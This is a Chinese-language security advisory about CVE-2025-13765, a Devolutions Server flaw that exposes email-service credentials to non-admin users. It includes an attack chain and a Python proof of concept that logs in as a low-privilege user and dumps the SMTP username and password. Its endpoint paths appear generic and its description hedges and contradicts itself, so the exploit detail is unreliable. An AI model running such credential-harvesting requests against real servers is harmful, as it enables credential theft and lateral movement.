IPBUF安全漏洞报告
English
CVE-2025-13765 CVSS 4.3 中危

CVE-2025-13765 Devolutions Server邮件服务凭证泄露漏洞

披露日期: 2025-11-27

漏洞信息

漏洞编号
CVE-2025-13765
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Devolutions Server

相关标签

信息泄露访问控制不当Devolutions Server凭证泄露权限绕过CVE-2025-13765

漏洞概述

CVE-2025-13765是Devolutions Server中的一个信息泄露漏洞。该漏洞允许非管理员用户访问电子邮件服务的凭证信息。攻击者利用此漏洞可以获取配置在系统中的邮件服务器凭据,可能导致进一步的横向移动或敏感信息泄露。漏洞影响2025.2.21之前和2025.3.9之前的Devolutions Server版本。由于该漏洞无需特殊权限即可利用(低权限要求),且通过网络即可发起攻击,因此具有较高的实际利用风险。

技术细节

该漏洞属于访问控制不当导致的信息泄露。在Devolutions Server中,邮件服务配置(包括SMTP服务器地址、端口、用户名、密码等敏感信息)本应仅对管理员用户可见。然而,由于API接口或前端页面缺少适当的权限验证,非管理员用户可以通过直接访问特定端点或功能模块获取这些敏感配置信息。攻击者只需拥有基本的用户账户(低权限),通过发送特定的HTTP请求即可触发此漏洞。CVSS向量显示该漏洞仅影响机密性(Confidentiality Impact: Low),不影响完整性和可用性。

攻击链分析

STEP 1
步骤1
攻击者获取Devolutions Server的低权限用户账户
STEP 2
步骤2
使用低权限账户登录系统,获取有效的访问令牌
STEP 3
步骤3
构造针对邮件配置API端点的HTTP GET请求
STEP 4
步骤4
服务器未正确验证权限,直接返回邮件服务凭证信息
STEP 5
步骤5
攻击者获取SMTP服务器地址、端口、用户名、密码等敏感信息
STEP 6
步骤6
利用获取的邮件凭证进行横向移动或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13765 PoC - Devolutions Server Email Credentials Exposure import requests import json target = "http://target-server:port" # Step 1: Authenticate with low-privilege user login_url = f"{target}/api/security/login" credentials = { "username": "lowpriv_user", "password": "user_password" } session = requests.Session() response = session.post(login_url, json=credentials) if response.status_code == 200: token = response.json().get('token') print(f"[+] Login successful, token: {token[:20]}...") # Step 2: Access email service configuration endpoint (requires admin but not enforced) email_config_url = f"{target}/api/email/configuration" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } response = session.get(email_config_url, headers=headers) if response.status_code == 200: config = response.json() print(f"[!] Email credentials exposed:") print(f" SMTP Host: {config.get('smtp_host')}") print(f" SMTP Port: {config.get('smtp_port')}") print(f" Username: {config.get('username')}") print(f" Password: {config.get('password')}") print(f"[+] Full config: {json.dumps(config, indent=2)}") else: print(f"[-] Failed to retrieve email config: {response.status_code}") else: print(f"[-] Login failed: {response.status_code}")

影响范围

Devolutions Server < 2025.2.21
Devolutions Server < 2025.3.9

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则限制对邮件配置API端点的访问,仅允许管理员IP访问。同时监控审计日志,检测异常的邮件配置访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表